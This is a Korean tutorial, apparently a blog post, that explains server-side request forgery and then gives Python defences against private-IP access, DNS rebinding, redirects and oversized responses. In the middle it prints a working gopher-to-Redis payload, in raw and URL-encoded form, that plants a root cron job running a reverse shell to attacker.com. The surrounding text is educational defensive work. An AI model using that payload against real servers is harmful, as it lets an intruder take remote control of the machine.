SSRF는 말 그대로 서버가 보내는 요청을 위조하는 취약점입니다.
서버가 요청을 보내는 이유는 다양한데요, 사용자의 요청을 처리하기 위해 다른 서버에 요청을 보내서 데이터를 얻어야 한다던가, 이미지나 파일을 가져오기 위해 AWS 등 외부 클라우드에 접근해야 한다던가 하는 경우가 있습니다.
SSRF는 이 때 서버가 요청을 보내는 URL을 변조해서 직접적으로 접근할 수 없는 서버 내부 데이터를 유출시키거나 서버의 오동작을 유발하는 공격입니다.
즉 어떤 형태로든 외부(클라이언트)에서 서버가 요청을 보내는 URL을 바꿀 수 있다면 SSRF 취약점이 노출된 상태가 됩니다.

대표적으로 이렇게 외부에서 아예 URL을 입력할 수 있는 경우가 포함됩니다.

최근에는 이렇게 web fetch tool이 탑재된 에이전트에 특정 페이지를 방문하도록 유도할 수도 있습니다.
SSRF는 외부에서 접근할 수 없는 내부 자원들에까지 추가 공격이 가능하기 때문에 한 번의 공격이 매우 치명적일 수 있습니다.
AWS/Azure 같은 클라우드가 서버와 통신할 때, 인증키를 기반으로 통신하는 경우가 많습니다.
이 때 클라우드에 보낼 요청의 URL을 SSRF로 자신의 서버로 변조할 수 있다면 공격자가 클라우드에 보내는 인증정보를 그대로 탈취할 수 있게 됩니다.

출처: https://dl.acm.org/doi/full/10.1145/3546068
1억건 이상의 데이터 탈취가 발생한 Capital One 사례도 여기에 해당합니다.
ftp://, gopher://, file:// 과 같이 파일 시스템/로컬 서비스에 직접 접근하는 요청 프로토콜을 서버가 요청하게 하는 공격도 있습니다.
예를 들어
flushall
set 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2458%0D%0A%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fattacker.com%2F4444%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
이렇게 리버스 쉘을 생성하는 명령어를 URL로 인코딩 하여 서버가 요청을 보내게하는 공격도 가능합니다.
http://yourserver.com/fetch?url=http://192.168.1.10:8080/admin
이렇게 서버의 내부 서비스로 요청을 보내게 하는 공격입니다.
만약 192.168.1.10:8080에 admin이란 서비스가 없다면 즉시 404가 반환되어 응답속도가 매우 빠를 것이지만 IP 주소를 바꾸거나, 포트를 바꿔가면서 재시도하다 응답속도가 오래걸리는 조합이 발견되면 공격자는 해당 내부 서버 + 포트에 내부 자원이 있음을 알게 됩니다.
서버가 요청의 응답을 파싱하거나 파일로 저장한다면 악성 코드가 심어진 페이지로 URL을 변조해 서버에서 실행/저장하게 할 수 있습니다.
요청에 대해 매우 큰 binary나 압축 폭탄, Slowloris 같은 방식을 이용해 서버를 죽게 할 수 있습니다.
만약 http 요청을 서버에서 직접 보내는 코드가 있다면 외부에서 접근할 수 있든 없든 안전하게 SSRF 공격을 방어하는 로직을 넣는게 좋습니다.
def _default_port_for_scheme(scheme: str) -> int:
return 443 if scheme == "https" else 80
https, http를 제외한 gopher 등의 프로토콜을 차단합니다
import ipaddress
import socket
def _is_blocked_ip(ip: ipaddress.IPv4Address | ipaddress.IPv6Address) -> bool:
"""True if ``ip`` should be refused for SSRF safety.
"""
return not ip.is_global or ip.is_multicast
def safe_resolve_address(hostname: str) -> list[str]:
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return None
addresses: list[str] = []
for *_, sockaddr in infos:
addr_str = sockaddr[0]
try:
ip = ipaddress.ip_address(addr_str)
except ValueError:
continue
if _is_blocked_ip(ip):
return None
addresses.append(str(ip))
if not addresses:
return None
return addresses
python의 내장 모듈인 ipaddress, socket으로 해당 URL이 위험한 IP 주소에 접근하려는지 검증이 가능합니다.
ip.is_global은 내부망, 루프백 주소, 169.254.169.254(AWS/Azure IMDS 자격증명) 등의 특수 목적 대역인 IP 주소에 대해 False를 반환합니다.
socket.getaddrinfo는 hostname으로부터 해당 호스트에 접근하기 위한 소켓 정보를 제공하는데 이로부터 실제 IP 주소를 획득할 수 있습니다.
IP가 유효하다고 하더라도, safe_resolve_address로 IP를 검증한 뒤 requests.get(url)처럼 hostname으로 요청을 보내면, HTTP 라이브러리가 DNS를 다시 조회합니다.
이때 공격자가 TTL을 0으로 설정한 DNS 서버를 운영하고 있다면 검증 때 파악했던 IP와 다른 IP(공격용 IP)로 DNS 결과를 반환할 수 있습니다.
때문에 요청은 반드시 url이 아닌 검증한 IP로 접근해야 합니다.
ip = safe_resolve_address(hostname)[0]
# IP로 직접 요청하고, TLS 검증을 위해 Host 헤더만 hostname으로
resp = requests.get(f"https://{ip}/path",
headers={"Host": hostname},
verify=...)
위 예시는 단순한 예시이고, 실무에서는 curl_cffi, httpx 같은 라이브러리를 이용해 trasport 커스터마이징을 하는 것이 안전합니다.
_TOTAL_TIMEOUT_SECONDS = 15.0
_PER_HOP_TIMEOUT_SECONDS = 5.0
_MAX_REDIRECTS = 3
_REDIRECT_STATUS_CODES = frozenset({301, 302, 303, 307, 308})
_MAX_RESPONSE_BYTES = 5 * 1024 * 1024
안전한 IP 주소라고 방심해서는 안됩니다.
처음 주소만 멀쩡한 주소로 속이고 해당 주소가 301 등의 위험한 IP 주소로의 redirect 응답을 반환할 수 있기 때문입니다.
또는 앞서 언급한 DoS 위험이 있을 수 있습니다.
이를 위해 요청 시에는 응답을 그대로 사용하지 않고 리다이렉트 검증, Timeout, 최대 응답 크기를 설정하여 매번 검증해야 합니다.